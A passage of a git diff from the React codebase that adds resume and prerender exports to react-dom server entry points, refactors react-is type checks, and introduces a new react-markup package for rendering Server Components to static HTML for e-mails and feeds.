+      } else {
+        const listener = () => {
+          abort(request, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+export {
+  prerender,
+  prerenderToNodeStream,
+  resumeAndPrerender,
+  resumeAndPrerenderToNodeStream,
+  ReactVersion as version,
+};
diff --git a/packages/react-dom/src/server/react-dom-server.browser.js b/packages/react-dom/src/server/react-dom-server.browser.js
index c12bb28c19dc..5ab1f0e14256 100644
--- a/packages/react-dom/src/server/react-dom-server.browser.js
+++ b/packages/react-dom/src/server/react-dom-server.browser.js
@@ -8,4 +8,4 @@
  */
 
 export * from './ReactDOMFizzServerBrowser.js';
-export {prerender} from './ReactDOMFizzStaticBrowser.js';
+export {prerender, resumeAndPrerender} from './ReactDOMFizzStaticBrowser.js';
diff --git a/packages/react-dom/src/server/react-dom-server.browser.stable.js b/packages/react-dom/src/server/react-dom-server.browser.stable.js
index 3471bba15ac9..679e6803f6aa 100644
--- a/packages/react-dom/src/server/react-dom-server.browser.stable.js
+++ b/packages/react-dom/src/server/react-dom-server.browser.stable.js
@@ -7,4 +7,9 @@
  * @flow
  */
 
-export {renderToReadableStream, version} from './ReactDOMFizzServerBrowser.js';
+export {
+  renderToReadableStream,
+  resume,
+  version,
+} from './ReactDOMFizzServerBrowser.js';
+export {prerender, resumeAndPrerender} from './ReactDOMFizzStaticBrowser.js';
diff --git a/packages/react-dom/src/server/react-dom-server.bun.js b/packages/react-dom/src/server/react-dom-server.bun.js
index 5ca420c2305e..17c9c1f465ac 100644
--- a/packages/react-dom/src/server/react-dom-server.bun.js
+++ b/packages/react-dom/src/server/react-dom-server.bun.js
@@ -8,3 +8,14 @@
  */
 
 export * from './ReactDOMFizzServerBun.js';
+export {
+  renderToPipeableStream,
+  resumeToPipeableStream,
+  resume,
+} from './ReactDOMFizzServerNode.js';
+export {
+  prerenderToNodeStream,
+  prerender,
+  resumeAndPrerenderToNodeStream,
+  resumeAndPrerender,
+} from './ReactDOMFizzStaticNode.js';
diff --git a/packages/react-dom/src/server/react-dom-server.bun.stable.js b/packages/react-dom/src/server/react-dom-server.bun.stable.js
index 4d17773002f7..50c83508ba90 100644
--- a/packages/react-dom/src/server/react-dom-server.bun.stable.js
+++ b/packages/react-dom/src/server/react-dom-server.bun.stable.js
@@ -8,3 +8,14 @@
  */
 
 export {renderToReadableStream, version} from './ReactDOMFizzServerBun.js';
+export {
+  renderToPipeableStream,
+  resume,
+  resumeToPipeableStream,
+} from './ReactDOMFizzServerNode.js';
+export {
+  prerenderToNodeStream,
+  prerender,
+  resumeAndPrerenderToNodeStream,
+  resumeAndPrerender,
+} from './ReactDOMFizzStaticNode.js';
diff --git a/packages/react-dom/src/server/react-dom-server.edge.js b/packages/react-dom/src/server/react-dom-server.edge.js
index c3882bed01dc..e70e8fd4cbef 100644
--- a/packages/react-dom/src/server/react-dom-server.edge.js
+++ b/packages/react-dom/src/server/react-dom-server.edge.js
@@ -8,4 +8,4 @@
  */
 
 export * from './ReactDOMFizzServerEdge.js';
-export {prerender} from './ReactDOMFizzStaticEdge.js';
+export {prerender, resumeAndPrerender} from './ReactDOMFizzStaticEdge.js';
diff --git a/packages/react-dom/src/server/react-dom-server.edge.stable.js b/packages/react-dom/src/server/react-dom-server.edge.stable.js
index b2f0278099ce..588b6d8cb59a 100644
--- a/packages/react-dom/src/server/react-dom-server.edge.stable.js
+++ b/packages/react-dom/src/server/react-dom-server.edge.stable.js
@@ -7,4 +7,9 @@
  * @flow
  */
 
-export {renderToReadableStream, version} from './ReactDOMFizzServerEdge.js';
+export {
+  renderToReadableStream,
+  resume,
+  version,
+} from './ReactDOMFizzServerEdge.js';
+export {prerender, resumeAndPrerender} from './ReactDOMFizzStaticEdge.js';
diff --git a/packages/react-dom/src/server/react-dom-server.node.js b/packages/react-dom/src/server/react-dom-server.node.js
index 9ca72308b08e..e01fb6413ce8 100644
--- a/packages/react-dom/src/server/react-dom-server.node.js
+++ b/packages/react-dom/src/server/react-dom-server.node.js
@@ -8,4 +8,9 @@
  */
 
 export * from './ReactDOMFizzServerNode.js';
-export {prerenderToNodeStream} from './ReactDOMFizzStaticNode.js';
+export {
+  prerenderToNodeStream,
+  prerender,
+  resumeAndPrerenderToNodeStream,
+  resumeAndPrerender,
+} from './ReactDOMFizzStaticNode.js';
diff --git a/packages/react-dom/src/server/react-dom-server.node.stable.js b/packages/react-dom/src/server/react-dom-server.node.stable.js
index bd17b91a9602..e26eee228456 100644
--- a/packages/react-dom/src/server/react-dom-server.node.stable.js
+++ b/packages/react-dom/src/server/react-dom-server.node.stable.js
@@ -7,4 +7,16 @@
  * @flow
  */
 
-export {renderToPipeableStream, version} from './ReactDOMFizzServerNode.js';
+export {
+  renderToPipeableStream,
+  renderToReadableStream,
+  resume,
+  resumeToPipeableStream,
+  version,
+} from './ReactDOMFizzServerNode.js';
+export {
+  prerenderToNodeStream,
+  prerender,
+  resumeAndPrerender,
+  resumeAndPrerenderToNodeStream,
+} from './ReactDOMFizzStaticNode.js';
diff --git a/packages/react-dom/src/shared/ReactDOMFloat.js b/packages/react-dom/src/shared/ReactDOMFloat.js
index f83508714f10..844824fd0667 100644
--- a/packages/react-dom/src/shared/ReactDOMFloat.js
+++ b/packages/react-dom/src/shared/ReactDOMFloat.js
@@ -336,22 +336,22 @@ function getValueDescriptorExpectingObjectForWarning(thing: any): string {
   return thing === null
     ? '`null`'
     : thing === undefined
-    ? '`undefined`'
-    : thing === ''
-    ? 'an empty string'
-    : `something with type "${typeof thing}"`;
+      ? '`undefined`'
+      : thing === ''
+        ? 'an empty string'
+        : `something with type "${typeof thing}"`;
 }
 
 function getValueDescriptorExpectingEnumForWarning(thing: any): string {
   return thing === null
     ? '`null`'
     : thing === undefined
-    ? '`undefined`'
-    : thing === ''
-    ? 'an empty string'
-    : typeof thing === 'string'
-    ? JSON.stringify(thing)
-    : typeof thing === 'number'
-    ? '`' + thing + '`'
-    : `something with type "${typeof thing}"`;
+      ? '`undefined`'
+      : thing === ''
+        ? 'an empty string'
+        : typeof thing === 'string'
+          ? JSON.stringify(thing)
+          : typeof thing === 'number'
+            ? '`' + thing + '`'
+            : `something with type "${typeof thing}"`;
 }
diff --git a/packages/react-dom/src/test-utils/FizzTestUtils.js b/packages/react-dom/src/test-utils/FizzTestUtils.js
index 3e83dd529263..4d8b6cadbabf 100644
--- a/packages/react-dom/src/test-utils/FizzTestUtils.js
+++ b/packages/react-dom/src/test-utils/FizzTestUtils.js
@@ -139,39 +139,6 @@ function stripExternalRuntimeInNodes(
   );
 }
 
-// Since JSDOM doesn't implement a streaming HTML parser, we manually overwrite
-// readyState here (currently read by ReactDOMServerExternalRuntime). This does
-// not trigger event callbacks, but we do not rely on any right now.
-async function withLoadingReadyState<T>(
-  fn: () => T,
-  document: Document,
-): Promise<T> {
-  // JSDOM implements readyState in document's direct prototype, but this may
-  // change in later versions
-  let prevDescriptor = null;
-  let proto: Object = document;
-  while (proto != null) {
-    prevDescriptor = Object.getOwnPropertyDescriptor(proto, 'readyState');
-    if (prevDescriptor != null) {
-      break;
-    }
-    proto = Object.getPrototypeOf(proto);
-  }
-  Object.defineProperty(document, 'readyState', {
-    get() {
-      return 'loading';
-    },
-    configurable: true,
-  });
-  const result = await fn();
-  // $FlowFixMe[incompatible-type]
-  delete document.readyState;
-  if (prevDescriptor) {
-    Object.defineProperty(proto, 'readyState', prevDescriptor);
-  }
-  return result;
-}
-
 function getVisibleChildren(element: Element): React$Node {
   const children = [];
   let node: any = element.firstChild;
@@ -183,7 +150,10 @@ function getVisibleChildren(element: Element): React$Node {
         node.tagName !== 'TEMPLATE' &&
         node.tagName !== 'template' &&
         !node.hasAttribute('hidden') &&
-        !node.hasAttribute('aria-hidden')
+        !node.hasAttribute('aria-hidden') &&
+        // Ignore the render blocking expect
+        (node.getAttribute('rel') !== 'expect' ||
+          node.getAttribute('blocking') !== 'render')
       ) {
         const props: any = {};
         const attributes = node.attributes;
@@ -197,7 +167,10 @@ function getVisibleChildren(element: Element): React$Node {
           }
           props[attributes[i].name] = attributes[i].value;
         }
-        props.children = getVisibleChildren(node);
+        const nestedChildren = getVisibleChildren(node);
+        if (nestedChildren !== undefined) {
+          props.children = nestedChildren;
+        }
         children.push(
           require('react').createElement(node.tagName.toLowerCase(), props),
         );
@@ -210,14 +183,13 @@ function getVisibleChildren(element: Element): React$Node {
   return children.length === 0
     ? undefined
     : children.length === 1
-    ? children[0]
-    : children;
+      ? children[0]
+      : children;
 }
 
 export {
   insertNodesAndExecuteScripts,
   mergeOptions,
   stripExternalRuntimeInNodes,
-  withLoadingReadyState,
   getVisibleChildren,
 };
diff --git a/packages/react-dom/static.browser.js b/packages/react-dom/static.browser.js
index f5148e087fa8..23e07d7dd29f 100644
--- a/packages/react-dom/static.browser.js
+++ b/packages/react-dom/static.browser.js
@@ -7,4 +7,8 @@
  * @flow
  */
 
-export {prerender, version} from './src/server/react-dom-server.browser';
+export {
+  prerender,
+  resumeAndPrerender,
+  version,
+} from './src/server/react-dom-server.browser';
diff --git a/packages/react-dom/static.edge.js b/packages/react-dom/static.edge.js
index 40bdffd4e4b5..e2cbc692869a 100644
--- a/packages/react-dom/static.edge.js
+++ b/packages/react-dom/static.edge.js
@@ -7,4 +7,8 @@
  * @flow
  */
 
-export {prerender, version} from './src/server/react-dom-server.edge';
+export {
+  prerender,
+  resumeAndPrerender,
+  version,
+} from './src/server/react-dom-server.edge';
diff --git a/packages/react-dom/static.node.js b/packages/react-dom/static.node.js
index 903637054696..f81cac167d12 100644
--- a/packages/react-dom/static.node.js
+++ b/packages/react-dom/static.node.js
@@ -3,11 +3,38 @@
  *
  * This source code is licensed under the MIT license found in the
  * LICENSE file in the root directory of this source tree.
- *
- * @flow
  */
 
-export {
-  prerenderToNodeStream,
-  version,
-} from './src/server/react-dom-server.node';
+// This file is only used for tests.
+// It lazily loads the implementation so that we get the correct set of host configs.
+
+import ReactVersion from 'shared/ReactVersion';
+export {ReactVersion as version};
+
+export function prerenderToNodeStream() {
+  return require('./src/server/react-dom-server.node').prerenderToNodeStream.apply(
+    this,
+    arguments,
+  );
+}
+
+export function prerender() {
+  return require('./src/server/react-dom-server.node').prerender.apply(
+    this,
+    arguments,
+  );
+}
+
+export function resumeAndPrerenderToNodeStream() {
+  return require('./src/server/react-dom-server.node').resumeAndPrerenderToNodeStream.apply(
+    this,
+    arguments,
+  );
+}
+
+export function resumeAndPrerender() {
+  return require('./src/server/react-dom-server.node').resumeAndPrerender.apply(
+    this,
+    arguments,
+  );
+}
diff --git a/packages/react-is/package.json b/packages/react-is/package.json
index 9c1f014ee2ee..f910553fcbc5 100644
--- a/packages/react-is/package.json
+++ b/packages/react-is/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-is",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "description": "Brand checking of React Elements.",
   "main": "index.js",
   "sideEffects": false,
diff --git a/packages/react-is/src/ReactIs.js b/packages/react-is/src/ReactIs.js
index 6e935bd8f7c6..ed70f0e68eb7 100644
--- a/packages/react-is/src/ReactIs.js
+++ b/packages/react-is/src/ReactIs.js
@@ -18,14 +18,24 @@ import {
   REACT_MEMO_TYPE,
   REACT_PORTAL_TYPE,
   REACT_PROFILER_TYPE,
-  REACT_PROVIDER_TYPE,
   REACT_CONSUMER_TYPE,
   REACT_STRICT_MODE_TYPE,
   REACT_SUSPENSE_TYPE,
   REACT_SUSPENSE_LIST_TYPE,
+  REACT_VIEW_TRANSITION_TYPE,
+  REACT_SCOPE_TYPE,
+  REACT_LEGACY_HIDDEN_TYPE,
+  REACT_TRACING_MARKER_TYPE,
 } from 'shared/ReactSymbols';
-import isValidElementType from 'shared/isValidElementType';
-import {enableRenderableContext} from 'shared/ReactFeatureFlags';
+
+import {
+  enableScopeAPI,
+  enableTransitionTracing,
+  enableLegacyHidden,
+  enableViewTransition,
+} from 'shared/ReactFeatureFlags';
+
+const REACT_CLIENT_REFERENCE: symbol = Symbol.for('react.client.reference');
 
 export function typeOf(object: any): mixed {
   if (typeof object === 'object' && object !== null) {
@@ -40,6 +50,7 @@ export function typeOf(object: any): mixed {
           case REACT_STRICT_MODE_TYPE:
           case REACT_SUSPENSE_TYPE:
           case REACT_SUSPENSE_LIST_TYPE:
+          case REACT_VIEW_TRANSITION_TYPE:
             return type;
           default:
             const $$typeofType = type && type.$$typeof;
@@ -51,14 +62,7 @@ export function typeOf(object: any): mixed {
               case REACT_MEMO_TYPE:
                 return $$typeofType;
               case REACT_CONSUMER_TYPE:
-                if (enableRenderableContext) {
-                  return $$typeofType;
-                }
-              // Fall through
-              case REACT_PROVIDER_TYPE:
-                if (!enableRenderableContext) {
-                  return $$typeofType;
-                }
+                return $$typeofType;
               // Fall through
               default:
                 return $$typeof;
@@ -72,12 +76,8 @@ export function typeOf(object: any): mixed {
   return undefined;
 }
 
-export const ContextConsumer: symbol = enableRenderableContext
-  ? REACT_CONSUMER_TYPE
-  : REACT_CONTEXT_TYPE;
-export const ContextProvider: symbol = enableRenderableContext
-  ? REACT_CONTEXT_TYPE
-  : REACT_PROVIDER_TYPE;
+export const ContextConsumer: symbol = REACT_CONSUMER_TYPE;
+export const ContextProvider: symbol = REACT_CONTEXT_TYPE;
 export const Element = REACT_ELEMENT_TYPE;
 export const ForwardRef = REACT_FORWARD_REF_TYPE;
 export const Fragment = REACT_FRAGMENT_TYPE;
@@ -89,21 +89,52 @@ export const StrictMode = REACT_STRICT_MODE_TYPE;
 export const Suspense = REACT_SUSPENSE_TYPE;
 export const SuspenseList = REACT_SUSPENSE_LIST_TYPE;
 
-export {isValidElementType};
+export function isValidElementType(type: mixed): boolean {
+  if (typeof type === 'string' || typeof type === 'function') {
+    return true;
+  }
 
-export function isContextConsumer(object: any): boolean {
-  if (enableRenderableContext) {
-    return typeOf(object) === REACT_CONSUMER_TYPE;
-  } else {
-    return typeOf(object) === REACT_CONTEXT_TYPE;
+  // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).
+  if (
+    type === REACT_FRAGMENT_TYPE ||
+    type === REACT_PROFILER_TYPE ||
+    type === REACT_STRICT_MODE_TYPE ||
+    type === REACT_SUSPENSE_TYPE ||
+    type === REACT_SUSPENSE_LIST_TYPE ||
+    (enableLegacyHidden && type === REACT_LEGACY_HIDDEN_TYPE) ||
+    (enableScopeAPI && type === REACT_SCOPE_TYPE) ||
+    (enableTransitionTracing && type === REACT_TRACING_MARKER_TYPE) ||
+    (enableViewTransition && type === REACT_VIEW_TRANSITION_TYPE)
+  ) {
+    return true;
   }
+
+  if (typeof type === 'object' && type !== null) {
+    if (
+      type.$$typeof === REACT_LAZY_TYPE ||
+      type.$$typeof === REACT_MEMO_TYPE ||
+      type.$$typeof === REACT_CONTEXT_TYPE ||
+      type.$$typeof === REACT_CONSUMER_TYPE ||
+      type.$$typeof === REACT_FORWARD_REF_TYPE ||
+      // This needs to include all possible module reference object
+      // types supported by any Flight configuration anywhere since
+      // we don't know which Flight build this will end up being used
+      // with.
+      type.$$typeof === REACT_CLIENT_REFERENCE ||
+      type.getModuleId !== undefined
+    ) {
+      return true;
+    }
+  }
+
+  return false;
+}
+
+export function isContextConsumer(object: any): boolean {
+  return typeOf(object) === REACT_CONSUMER_TYPE;
 }
 export function isContextProvider(object: any): boolean {
-  if (enableRenderableContext) {
-    return typeOf(object) === REACT_CONTEXT_TYPE;
-  } else {
-    return typeOf(object) === REACT_PROVIDER_TYPE;
-  }
+  return typeOf(object) === REACT_CONTEXT_TYPE;
 }
 export function isElement(object: any): boolean {
   return (
diff --git a/packages/react-markup/README.md b/packages/react-markup/README.md
new file mode 100644
index 000000000000..f01c9be6b36d
--- /dev/null
+++ b/packages/react-markup/README.md
@@ -0,0 +1,36 @@
+# `react-markup`
+
+This package provides the ability to render standalone HTML from Server Components for use in embedded contexts such as e-mails and RSS/Atom feeds. It cannot use Client Components and does not hydrate. It is intended to be paired with the generic React package, which is shipped as `react` to npm.
+
+## Installation
+
+```sh
+npm install react react-markup
+```
+
+## Usage
+
+```js
+import { experimental_renderToHTML as renderToHTML } from 'react-markup';
+import EmailTemplate from './my-email-template-component.js'
+
+async function action(email, name) {
+  "use server";
+  // ... in your server, e.g. a Server Action...
+  const htmlString = await renderToHTML(<EmailTemplate name={name} />);
+  // ... send e-mail using some e-mail provider
+  await sendEmail({ to: email, contentType: 'text/html', body: htmlString });
+}
+```
+
+Note that this is an async function that needs to be awaited - unlike the legacy `renderToString` in `react-dom`.
+
+## API
+
+### `react-markup`
+
+See https://react.dev/reference/react-markup
+
+## Thanks
+
+The React team thanks [Nikolai Mavrenkov](https://www.koluch.ru/) for donating the `react-markup` package name.
diff --git a/packages/react-markup/index.js b/packages/react-markup/index.js
new file mode 100644
index 000000000000..1e53a27a6961
--- /dev/null
+++ b/packages/react-markup/index.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/ReactMarkupClient';
diff --git a/packages/react-markup/npm/index.js b/packages/react-markup/npm/index.js
new file mode 100644
index 000000000000..e0f4dd058f64
--- /dev/null
+++ b/packages/react-markup/npm/index.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-markup.production.js');
+} else {
+  module.exports = require('./cjs/react-markup.development.js');
+}
diff --git a/packages/react-markup/npm/react-markup.react-server.js b/packages/react-markup/npm/react-markup.react-server.js
new file mode 100644
index 000000000000..08e140b407ce
--- /dev/null
+++ b/packages/react-markup/npm/react-markup.react-server.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-markup.react-server.production.js');
+} else {
+  module.exports = require('./cjs/react-markup.react-server.development.js');
+}
diff --git a/packages/react-markup/package.json b/packages/react-markup/package.json
new file mode 100644
index 000000000000..564486533917
--- /dev/null
+++ b/packages/react-markup/package.json
@@ -0,0 +1,37 @@
+{
+  "name": "react-markup",
+  "version": "19.3.0",
+  "description": "React package generating embedded markup such as e-mails with support for Server Components.",
+  "main": "index.js",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
+    "directory": "packages/react-markup"
+  },
+  "keywords": [
+    "react"
+  ],
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/facebook/react/issues"
+  },
+  "homepage": "https://react.dev/",
+  "peerDependencies": {
+    "react": "^19.0.0"
+  },
+  "files": [
+    "LICENSE",
+    "README.md",
+    "index.js",
+    "react-markup.react-server.js",
+    "cjs/"
+  ],
+  "exports": {
+    ".": {
+      "react-server": "./react-markup.react-server.js",
+      "default": "./index.js"
+    },
+    "./src/*": "./src/*",
+    "./package.json": "./package.json"
+  }
+}
diff --git a/packages/react-markup/react-markup.react-server.js b/packages/react-markup/react-markup.react-server.js
new file mode 100644
index 000000000000..4b74acd707c1
--- /dev/null
+++ b/packages/react-markup/react-markup.react-server.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/ReactMarkupServer';
diff --git a/packages/react-markup/src/ReactFizzConfigMarkup.js b/packages/react-markup/src/ReactFizzConfigMarkup.js
new file mode 100644
index 000000000000..d12d72e69e02
--- /dev/null
+++ b/packages/react-markup/src/ReactFizzConfigMarkup.js
@@ -0,0 +1,254 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactNodeList} from 'shared/ReactTypes';
+
+import type {
+  RenderState,
+  ResumableState,
+  PreambleState,
+  HoistableState,
+  FormatContext,
+} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
+
+import {
+  pushStartInstance as pushStartInstanceImpl,
+  writePreambleStart as writePreambleStartImpl,
+} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
+
+import type {
+  Destination,
+  Chunk,
+  PrecomputedChunk,
+} from 'react-server/src/ReactServerStreamConfig';
+
+import type {FormStatus} from 'react-dom-bindings/src/shared/ReactDOMFormActions';
+
+import {NotPending} from 'react-dom-bindings/src/shared/ReactDOMFormActions';
+
+import hasOwnProperty from 'shared/hasOwnProperty';
+
+// Allow embedding inside another Fizz render.
+export const isPrimaryRenderer = false;
+
+// Disable Client Hooks
+export const supportsClientAPIs = false;
+
+import {stringToChunk} from 'react-server/src/ReactServerStreamConfig';
+
+export type {
+  RenderState,
+  ResumableState,
+  HoistableState,
+  PreambleState,
+  FormatContext,
+} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
+
+export {
+  getChildFormatContext,
+  getSuspenseFallbackFormatContext,
+  getSuspenseContentFormatContext,
+  makeId,
+  pushEndInstance,
+  pushFormStateMarkerIsMatching,
+  pushFormStateMarkerIsNotMatching,
+  writeStartSegment,
+  writeEndSegment,
+  writeCompletedSegmentInstruction,
+  writeCompletedBoundaryInstruction,
+  writeClientRenderBoundaryInstruction,
+  writeStartPendingSuspenseBoundary,
+  writeEndPendingSuspenseBoundary,
+  writeHoistablesForBoundary,
+  writePlaceholder,
+  createRootFormatContext,
+  createRenderState,
+  createResumableState,
+  createPreambleState,
+  createHoistableState,
+  writePreambleEnd,
+  writeHoistables,
+  writePostamble,
+  hoistHoistables,
+  resetResumableState,
+  completeResumableState,
+  emitEarlyPreloads,
+  doctypeChunk,
+  canHavePreamble,
+  hoistPreambleState,
+  isPreambleReady,
+  isPreambleContext,
+} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';
+
+import escapeTextForBrowser from 'react-dom-bindings/src/server/escapeTextForBrowser';
+
+export function getViewTransitionFormatContext(
+  resumableState: ResumableState,
+  parentContext: FormatContext,
+  update: void | null | 'none' | 'auto' | string,
+  enter: void | null | 'none' | 'auto' | string,
+  exit: void | null | 'none' | 'auto' | string,
+  share: void | null | 'none' | 'auto' | string,
+  name: void | null | 'auto' | string,
+  autoName: string, // name or an autogenerated unique name
+): FormatContext {
+  // ViewTransition reveals are not supported in markup renders.
+  return parentContext;
+}
+
+export function pushStartInstance(
+  target: Array<Chunk | PrecomputedChunk>,
+  type: string,
+  props: Object,
+  resumableState: ResumableState,
+  renderState: RenderState,
+  preambleState: null | PreambleState,
+  hoistableState: null | HoistableState,
+  formatContext: FormatContext,
+  textEmbedded: boolean,
+): ReactNodeList {
+  for (const propKey in props) {
+    if (hasOwnProperty.call(props, propKey)) {
+      const propValue = props[propKey];
+      if (propKey === 'ref' && propValue != null) {
+        throw new Error(
+          'Cannot pass ref in renderToHTML because they will never be hydrated.',
+        );
+      }
+      if (typeof propValue === 'function') {
+        throw new Error(
+          'Cannot pass event handlers (' +
+            propKey +
+            ') in renderToHTML because ' +
+            'the HTML will never be hydrated so they can never get called.',
+        );
+      }
+    }
+  }
+
+  return pushStartInstanceImpl(
+    target,
+    type,
+    props,
+    resumableState,
+    renderState,
+    preambleState,
+    hoistableState,
+    formatContext,
+    textEmbedded,
+  );
+}
+
+export function pushTextInstance(
+  target: Array<Chunk | PrecomputedChunk>,
+  text: string,
+  renderState: RenderState,
+  textEmbedded: boolean,
+): boolean {
+  // Markup doesn't need any termination.
+  target.push(stringToChunk(escapeTextForBrowser(text)));
+  return false;
+}
+
+export function pushSegmentFinale(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+  lastPushedText: boolean,
+  textEmbedded: boolean,
+): void {
+  // Markup doesn't need any termination.
+  return;
+}
+
+export function pushStartActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  // Markup doesn't have any instructions.
+  return;
+}
+
+export function pushEndActivityBoundary(
+  target: Array<Chunk | PrecomputedChunk>,
+  renderState: RenderState,
+): void {
+  // Markup doesn't have any instructions.
+  return;
+}
+
+export function writeStartCompletedSuspenseBoundary(
+  destination: Destination,
+  renderState: RenderState,
+): boolean {
+  // Markup doesn't have any instructions.
+  return true;
+}
+
+export function writeStartClientRenderedSuspenseBoundary(
+  destination: Destination,
+  renderState: RenderState,
+  // flushing these error arguments are not currently supported in this legacy streaming format.
+  errorDigest: ?string,
+  errorMessage: ?string,
+  errorStack: ?string,
+  errorComponentStack: ?string,
+): boolean {
+  // Markup doesn't have any instructions.
+  return true;
+}
+
+export function writeEndCompletedSuspenseBoundary(
+  destination: Destination,
+  renderState: RenderState,
+): boolean {
+  // Markup doesn't have any instructions.
+  return true;
+}
+export function writeEndClientRenderedSuspenseBoundary(
+  destination: Destination,
+  renderState: RenderState,
+): boolean {
+  // Markup doesn't have any instructions.
+  return true;
+}
+
+export function writePreambleStart(
+  destination: Destination,
+  resumableState: ResumableState,
+  renderState: RenderState,
+  skipBlockingShell: boolean,
+): void {
+  return writePreambleStartImpl(
+    destination,
+    resumableState,
+    renderState,
+    true, // skipBlockingShell
+  );
+}
+
+export function writeCompletedRoot(
+  destination: Destination,
+  resumableState: ResumableState,
+  renderState: RenderState,
+  isComplete: boolean,
+): boolean {
+  // Markup doesn't have any bootstrap scripts nor shell completions.
+  return true;
+}
+
+export function hasSuspenseyContent(
+  hoistableState: HoistableState,
+  flushingInShell: boolean,
+): boolean {
+  // Never outline.
+  return false;
+}
+
+export type TransitionStatus = FormStatus;
+export const NotPendingTransition: TransitionStatus = NotPending;
diff --git a/packages/react-markup/src/ReactMarkupClient.js b/packages/react-markup/src/ReactMarkupClient.js
new file mode 100644
index 000000000000..25ff9ebc0c37
--- /dev/null
+++ b/packages/react-markup/src/ReactMarkupClient.js
@@ -0,0 +1,106 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactNodeList} from 'shared/ReactTypes';
+import type {ErrorInfo} from 'react-server/src/ReactFizzServer';
+
+import ReactVersion from 'shared/ReactVersion';
+
+import {
+  createRequest as createFizzRequest,
+  startWork as startFizzWork,
+  startFlowing as startFizzFlowing,
+  abort as abortFizz,
+} from 'react-server/src/ReactFizzServer';
+
+import {
+  createResumableState,
+  createRenderState,
+  createRootFormatContext,
+} from './ReactFizzConfigMarkup';
+
+type MarkupOptions = {
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
+};
+
+export function experimental_renderToHTML(
+  children: ReactNodeList,
+  options?: MarkupOptions,
+): Promise<string> {
+  return new Promise((resolve, reject) => {
+    let buffer = '';
+    const fizzDestination = {
+      push(chunk: string | null): boolean {
+        if (chunk !== null) {
+          buffer += chunk;
+        } else {
+          // null indicates that we finished
+          resolve(buffer);
+        }
+        return true;
+      },
+      destroy(error: mixed) {
+        reject(error);
+      },
+    };
+    function handleError(error: mixed, errorInfo: ErrorInfo) {
+      // Any error rejects the promise, regardless of where it happened.
+      // Unlike other React SSR we don't want to put Suspense boundaries into
+      // client rendering mode because there's no client rendering here.
+      reject(error);
+
+      const onError = options && options.onError;
+      if (onError) {
+        onError(error, errorInfo);
+      }
+    }
+    const resumableState = createResumableState(
+      options ? options.identifierPrefix : undefined,
+      undefined,
+    );
+    const fizzRequest = createFizzRequest(
+      children,
+      resumableState,
+      createRenderState(
+        resumableState,
+        undefined,
+        undefined,
+        undefined,
+        undefined,
+        undefined,
+      ),
+      createRootFormatContext(),
+      Infinity,
+      handleError,
+      undefined,
+      undefined,
+      undefined,
+      undefined,
+      undefined,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abortFizz(fizzRequest, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abortFizz(fizzRequest, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startFizzWork(fizzRequest);
+    startFizzFlowing(fizzRequest, fizzDestination);
+  });
+}
+
+export {ReactVersion as version};
diff --git a/packages/react-markup/src/ReactMarkupClient.stable.js b/packages/react-markup/src/ReactMarkupClient.stable.js
new file mode 100644
index 000000000000..b4aec8f76002
--- /dev/null
+++ b/packages/react-markup/src/ReactMarkupClient.stable.js
@@ -0,0 +1,11 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// eslint-disable-next-line react-internal/prod-error-codes
+throw new Error('react-markup should not get built in stable');
diff --git a/packages/react-markup/src/ReactMarkupLegacyClientStreamConfig.js b/packages/react-markup/src/ReactMarkupLegacyClientStreamConfig.js
new file mode 100644
index 000000000000..eaee8d45938d
--- /dev/null
+++ b/packages/react-markup/src/ReactMarkupLegacyClientStreamConfig.js
@@ -0,0 +1,28 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export type StringDecoder = null;
+
+export function createStringDecoder(): null {
+  return null;
+}
+
+export function readPartialStringChunk(
+  decoder: StringDecoder,
+  buffer: Uint8Array,
+): string {
+  throw new Error('Not implemented.');
+}
+
+export function readFinalStringChunk(
+  decoder: StringDecoder,
+  buffer: Uint8Array,
+): string {
+  throw new Error('Not implemented.');
+}
diff --git a/packages/react-markup/src/ReactMarkupServer.js b/packages/react-markup/src/ReactMarkupServer.js
new file mode 100644
index 000000000000..43e258bf13ef
